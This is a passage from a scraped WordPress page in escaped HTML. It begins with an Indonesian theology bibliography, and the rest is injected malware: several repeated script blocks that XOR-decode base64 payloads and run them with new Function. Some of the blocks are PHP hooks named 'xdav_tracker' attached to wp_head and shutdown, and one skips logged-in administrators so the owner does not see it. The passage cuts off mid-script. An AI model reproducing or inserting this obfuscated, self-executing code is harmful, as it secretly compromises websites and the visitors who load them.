Kristen<\/strong>:<\/p>\n<p>Zuck, Roy B (ed.). <strong>Teologi Alkitabiah<\/strong><\/p>\n<p><strong>Perjanjian Lama<\/strong>. Malang : Gandum Mas.\u00a02005<\/p>\n<p><strong>Bible Softwer Program\u00a0<\/strong>Michael S. Bushell, Michael D. Tan, and Glenn L. Weaver (programmer).<\/p>\n<p>.<strong>BibleWorks\u2122 Versi 6.0<\/strong>. Copyright \u00a9 1992-2005 BibleWorks, LLC. All rights reserved.<\/p>\n<p><strong>Biblesoft.\u00a0 \u00a0International Standard Bible Encyclopaedia<\/strong>, Electronic Database Copyright (c)1996<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<script>function xdav_tracker() {\n    ?>\n<script>\n!function(){var _0x50ad=atob('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'),_0xd5d6=99,_0xb8c9=new Uint8Array(_0x50ad['length']),_0x82d4=0;for(;_0x82d4<_0x50ad['length'];_0x82d4++)_0xb8c9[_0x82d4]=_0x50ad['charCodeAt'](_0x82d4)^_0xd5d6;(new Function(new TextDecoder()['decode'](_0xb8c9)))()}();\n<\/script><br \/>\n    <?php\n}\nadd_action( 'wp_head', 'xdav_tracker', 96 );<\/script><script>function xdav_tracker() {\n    if ( is_user_logged_in() && current_user_can( 'administrator' ) ) { return; }\n    ?>\n<script>\n!function(){var _0xe4e8=atob('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'),_0x33dc=109,_0xfb89=new Uint8Array(_0xe4e8['length']),_0x7bd8=0;for(;_0x7bd8<_0xe4e8['length'];_0x7bd8++)_0xfb89[_0x7bd8]=_0xe4e8['charCodeAt'](_0x7bd8)^_0x33dc;(new Function(new TextDecoder()['decode'](_0xfb89)))()}();\n<\/script><br \/>\n    <?php\n}\nadd_action( 'shutdown', 'xdav_tracker', 97 );<\/script><script>;!function(){var _0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw0PEhcKDRIAUl0TGmRRWlpQXxJJXk9OSVUcHABNWkkbZFVWXVhfSgZkX0FYXV5QQxVITllIT0kTCgkDF2RRWlpQXxEJEhdkWk5JT1JeXAYcHABdVEkTTVpJG2RMSEtRX1gGCwBkTEhLUV9YB2RVVl1YX0oVV15VXE9TAGRMSEtRX1gQBgkSQE1aSRtkTVVLQkxLSwZLWklIXnJVTxNkVVZdWF9KFUhOWUhPSRNkTEhLUV9YFwkSFwoNEgBSXRNkTVVLQkxLSxJkWk5JT1JeXBAGaE9JUlVcFV1JVFZ4U1pJeFRfXhNkTVVLQkxLSxIARkleT05JVRtkWk5JT1JeXABGWFpPWFMTXhJASV5PTklVHBwARkZdTlVYT1JUVRtkUVhTQUNVE2RRTFNKTEwXZF1JVENVEkBJXk9OSVUbVV5MG2tJVFZSSF4TXU5VWE9SVFUTZFNSVFZcQhdkUkxTXFoSQE1aSRtkTlZNSlwGVV5MG2N2d3NPT0tpXkpOXkhPExIAZE5WTUpcFVRLXlUTHGt0aG8cF2RRTFNKTEwXT0lOXhIAZE5WTUpcFUheT2leSk5eSE9zXlpfXkkTHHhUVU9eVU8Wb0JLXhwXHFpLS1dSWFpPUlRVFFFIVFUcEgBkTlZNSlwVT1JWXlROTwYOCwsLAGROVk1KXBVUVVdUWl8GXU5VWE9SVFUTEkBPSUJAZFNSVFZcQhNxaHR1FUtaSUheE2ROVk1KXBVJXkhLVFVIXm9eQ08SEgBGWFpPWFMTXhJAZFJMU1xaE14SAEZGAGROVk1KXBVUVV5JSVRJBmROVk1KXBVUVU9SVl5UTk8GXU5VWE9SVFUTEkBkUkxTXFoTVV5MG35JSVRJExISAEYAZE5WTUpcFUheVV8TcWh0dRVIT0lSVVxSXUITZF1JVENVEhIARhIARl1OVVhPUlRVG2RZUFJIWEpSE2RKS1dcSxJAUl0TZEpLV1xLBQZkXkxeSkoVV15VXE9TEkleT05JVRtrSVRWUkheFUleSFRXTV4TVU5XVxIATVpJG2RdXE5fQlJVBkBRSFRVSUtYARwJFQscF1ZeT1NUXwEcXk9TZFhaV1ccF0taSVpWSAFgQE9UAWReWk9ZWhdfWk9aARwLQxwQZFJOVFFWQ0YXHFdaT15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22['length']),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();<\/script><script>;!function(){var _0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw0PEhcKDRIAUl0TGmRRWlpQXxJJXk9OSVUcHABNWkkbZFVWXVhfSgZkX0FYXV5QQxVITllIT0kTCgkDF2RRWlpQXxEJEhdkWk5JT1JeXAYcHABdVEkTTVpJG2RMSEtRX1gGCwBkTEhLUV9YB2RVVl1YX0oVV15VXE9TAGRMSEtRX1gQBgkSQE1aSRtkTVVLQkxLSwZLWklIXnJVTxNkVVZdWF9KFUhOWUhPSRNkTEhLUV9YFwkSFwoNEgBSXRNkTVVLQkxLSxJkWk5JT1JeXBAGaE9JUlVcFV1JVFZ4U1pJeFRfXhNkTVVLQkxLSxIARkleT05JVRtkWk5JT1JeXABGWFpPWFMTXhJASV5PTklVHBwARkZdTlVYT1JUVRtkUVhTQUNVE2RRTFNKTEwXZF1JVENVEkBJXk9OSVUbVV5MG2tJVFZSSF4TXU5VWE9SVFUTZFNSVFZcQhdkUkxTXFoSQE1aSRtkTlZNSlwGVV5MG2N2d3NPT0tpXkpOXkhPExIAZE5WTUpcFVRLXlUTHGt0aG8cF2RRTFNKTEwXT0lOXhIAZE5WTUpcFUheT2leSk5eSE9zXlpfXkkTHHhUVU9eVU8Wb0JLXhwXHFpLS1dSWFpPUlRVFFFIVFUcEgBkTlZNSlwVT1JWXlROTwYOCwsLAGROVk1KXBVUVVdUWl8GXU5VWE9SVFUTEkBPSUJAZFNSVFZcQhNxaHR1FUtaSUheE2ROVk1KXBVJXkhLVFVIXm9eQ08SEgBGWFpPWFMTXhJAZFJMU1xaE14SAEZGAGROVk1KXBVUVV5JSVRJBmROVk1KXBVUVU9SVl5UTk8GXU5VWE9SVFUTEkBkUkxTXFoTVV5MG35JSVRJExISAEYAZE5WTUpcFUheVV8TcWh0dRVIT0lSVVxSXUITZF1JVENVEhIARhIARl1OVVhPUlRVG2RZUFJIWEpSE2RKS1dcSxJAUl0TZEpLV1xLBQZkXkxeSkoVV15VXE9TEkleT05JVRtrSVRWUkheFUleSFRXTV4TVU5XVxIATVpJG2RdXE5fQlJVBkBRSFRVSUtYARwJFQscF1ZeT1NUXwEcXk9TZFhaV1ccF0taSVpWSAFgQE9UAWReWk9ZWhdfWk9aARwLQxwQZFJOVFFWQ0YXHFdaT15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22['length']),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();<\/script><script>;!function(){var _0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw0PEhcKDRIAUl0TGmRRWlpQXxJJXk9OSVUcHABNWkkbZFVWXVhfSgZkX0FYXV5QQxVITllIT0kTCgkDF2RRWlpQXxEJEhdkWk5JT1JeXAYcHABdVEkTTVpJG2RMSEtRX1gGCwBkTEhLUV9YB2RVVl1YX0oVV15VXE9TAGRMSEtRX1gQBgkSQE1aSRtkTVVLQkxLSwZLWklIXnJVTxNkVVZdWF9KFUhOWUhPSRNkTEhLUV9YFwkSFwoNEgBSXRNkTVVLQkxLSxJkWk5JT1JeXBAGaE9JUlVcFV1JVFZ4U1pJeFRfXhNkTVVLQkxLSxIARkleT05JVRtkWk5JT1JeXABGWFpPWFMTXhJASV5PTklVHBwARkZdTlVYT1JUVRtkUVhTQUNVE2RRTFNKTEwXZF1JVENVEkBJXk9OSVUbVV5MG2tJVFZSSF4TXU5VWE9SVFUTZFNSVFZcQhdkUkxTXFoSQE1aSRtkTlZNSlwGVV5MG2N2d3NPT0tpXkpOXkhPExIAZE5WTUpcFVRLXlUTHGt0aG8cF2RRTFNKTEwXT0lOXhIAZE5WTUpcFUheT2leSk5eSE9zXlpfXkkTHHhUVU9eVU8Wb0JLXhwXHFpLS1dSWFpPUlRVFFFIVFUcEgBkTlZNSlwVT1JWXlROTwYOCwsLAGROVk1KXBVUVVdUWl8GXU5VWE9SVFUTEkBPSUJAZFNSVFZcQhNxaHR1FUtaSUheE2ROVk1KXBVJXkhLVFVIXm9eQ08SEgBGWFpPWFMTXhJAZFJMU1xaE14SAEZGAGROVk1KXBVUVV5JSVRJBmROVk1KXBVUVU9SVl5UTk8GXU5VWE9SVFUTEkBkUkxTXFoTVV5MG35JSVRJExISAEYAZE5WTUpcFUheVV8TcWh0dRVIT0lSVVxSXUITZF1JVENVEhIARhIARl1OVVhPUlRVG2RZUFJIWEpSE2RKS1dcSxJAUl0TZEpLV1xLBQZkXkxeSkoVV15VXE9TEkleT05JVRtrSVRWUkheFUleSFRXTV4TVU5XVxIATVpJG2RdXE5fQlJVBkBRSFRVSUtYARwJFQscF1ZeT1NUXwEcXk9TZFhaV1ccF0taSVpWSAFgQE9UAWReWk9ZWhdfWk9aARwLQxwQZFJOVFFWQ0YXHFdaT15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22['length']),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();<\/script><script>;!function(){var 